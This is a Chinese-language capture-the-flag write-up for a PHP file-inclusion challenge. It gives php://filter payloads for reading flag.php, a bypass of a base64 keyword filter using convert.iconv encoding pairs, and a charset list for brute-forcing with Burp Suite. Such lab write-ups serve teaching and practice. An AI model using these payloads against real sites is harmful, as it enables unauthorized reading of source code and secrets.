背景知识
php伪协议
文件包含漏洞
php包含漏洞函数
题目
由题目可知这个是文件包含的题目,先用常用的协议先查看一下
payload
?filename=php://filter/read=convert.base64-encode/resource=flag.php
出现了
发现filter,base64被过滤了
尝试其他协议
根据filter的绕过方法,可以使用iconv过滤器进行,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()
函数处理所有的流数据。
convery.iconv.*的使用有两种方法:
convert.iconv.<input-encoding>.<output-encoding>
convert.iconv.<input-encoding>/<output-encoding>
eg.convert.iconv.UCS-4*.UCS-4BE ---> 将指定的文件从UCS-4*转换为UCS-4BE 输出
这里并不清楚input-encoding和out-encoding具体是什么,可以简单猜想一下尝试,然后用bp抓包进行爆破
先设置尝试的payload
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
设置目标
iconv支持的字符集有
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
得到flag
参考学习链接:
【愚公系列】2023年05月 攻防世界-Web(file_include)-腾讯云开发者社区-腾讯云
攻防世界-泰山杯-简单的文件包含 – ZZ的IT部落